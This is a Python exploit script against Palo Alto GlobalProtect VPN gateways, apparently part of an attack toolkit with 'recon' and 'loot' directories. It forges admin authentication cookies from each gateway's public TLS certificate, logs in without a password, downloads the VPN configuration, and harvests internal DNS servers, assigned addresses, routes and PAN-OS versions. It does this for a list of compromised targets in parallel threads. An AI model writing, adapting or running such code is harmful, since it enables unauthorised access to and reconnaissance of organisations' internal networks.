import re, os, ssl, sys, urllib.parse, urllib.request
from concurrent.futures import ThreadPoolExecutor
sys.path.insert(0, '/root/recon')
import forge_cookie as fc

IPS = '/root/recon/loot/success_ips.txt'
OUTDIR = '/root/recon/loot/cfg'
TSV = '/root/recon/loot/gp_cfg.tsv'
os.makedirs(OUTDIR, exist_ok=True)

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE


def post(ip, path, params):
    body = urllib.parse.urlencode(params)
    req = urllib.request.Request('https://%s%s' % (ip, path), data=body.encode(), method='POST')
    req.add_header('Content-Type', 'application/x-www-form-urlencoded')
    req.add_header('User-Agent', 'PAN GlobalProtect')
    try:
        with urllib.request.urlopen(req, context=ctx, timeout=25) as r:
            return r.read().decode('utf-8', 'replace')
    except urllib.error.HTTPError as e:
        return e.read().decode('utf-8', 'replace') or ''
    except Exception:
        return ''


def login(ip, cookie):
    return post(ip, '/ssl-vpn/login.esp', {
        'prot': 'https', 'server': ip, 'inputStr': '', 'jnlpReady': 'jnlpReady', 'ok': 'Login',
        'direct': 'yes', 'clientVer': '4100', 'user': 'admin', 'passwd': '', 'context': 'gateway',
        'clientos': 'Windows', 'clientgpversion': '6.0.0', 'host-id': '', 'computer': '',
        'os-version': 'Microsoft Windows 10 Pro 64-bit', 'portal-userauthcookie': cookie,
        'portal-prelogonuserauthcookie': '',
    })


def work(ip):
    try:
        certs = fc.get_all_public_keys(ip, 443)
    except Exception as e:
        return '%s\t\tERRTLS\t%s' % (ip, type(e).__name__)
    name = ''
    try:
        for a in certs[0].subject:
            if a.oid.dotted_string == '2.5.4.3':
                name = a.value
    except Exception:
        pass
    args = None
    for c in certs[:3]:
        try:
            r = login(ip, fc.forge_cookie(c.public_key(), 'admin'))
        except Exception:
            continue
        a = re.findall(r'<argument>(.*?)</argument>', r, re.S)
        if len(a) > 5:
            args = a
            break
    if not args:
        return '%s\t%s\tLOGINFAIL\t' % (ip, name)
    gw = args[3]
    prof = args[5]
    cfg = post(ip, '/ssl-vpn/getconfig.esp', {
        'client-type': '1', 'protocol-version': 'p1', 'internal': 'no', 'app-version': '6.3.0-33',
        'ipv6-support': 'yes', 'clientos': 'Windows', 'os-version': 'Microsoft Windows 10 Pro 64-bit',
        'hmac-algo': 'sha1,md5,sha256', 'enc-algo': 'aes-128-cbc,aes-256-cbc',
        'user': 'admin', 'authcookie': args[1], 'portal': gw, 'domain': '', 'computer': '',
    })
    open(os.path.join(OUTDIR, ip + '.xml'), 'w').write(cfg)

    def one(tag):
        return (re.search(r'<%s>(.*?)</%s>' % (tag, tag), cfg, re.S) or [None, ''])[1].strip()

    dns = ','.join(re.findall(r'<dns>\s*<member>(.*?)</member>', cfg, re.S))
    suf = ','.join(re.findall(r'<dns-suffix>\s*<member>(.*?)</member>', cfg, re.S))
    routes = len(re.findall(r'<access-routes>', cfg))
    dests = ';'.join(re.findall(r'<destination>(.*?)</destination>\s*<netmask>', cfg, re.S))[:200]
    return '%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s' % (
        ip, name, gw, prof, one('panos-version'), one('ip-address'), dns, suf,
        ('routes=%d' % routes) + (' ' + dests if dests else ''), one('need-tunnel'))


ips = [l.strip() for l in open(IPS) if l.strip()]
print('targets', len(ips), flush=True)
with open(TSV, 'w', buffering=1) as f:
    f.write('ip\tcert\tgateway\tprofile\tpanos\tassigned_ip\tdns\tdns_suffix\troutes\tneed_tunnel\n')
    with ThreadPoolExecutor(max_workers=12) as ex:
        for i, r in enumerate(ex.map(work, ips), 1):
            f.write(r + '\n')
            if i % 20 == 0:
                print('done', i, flush=True)
print('finished', flush=True)
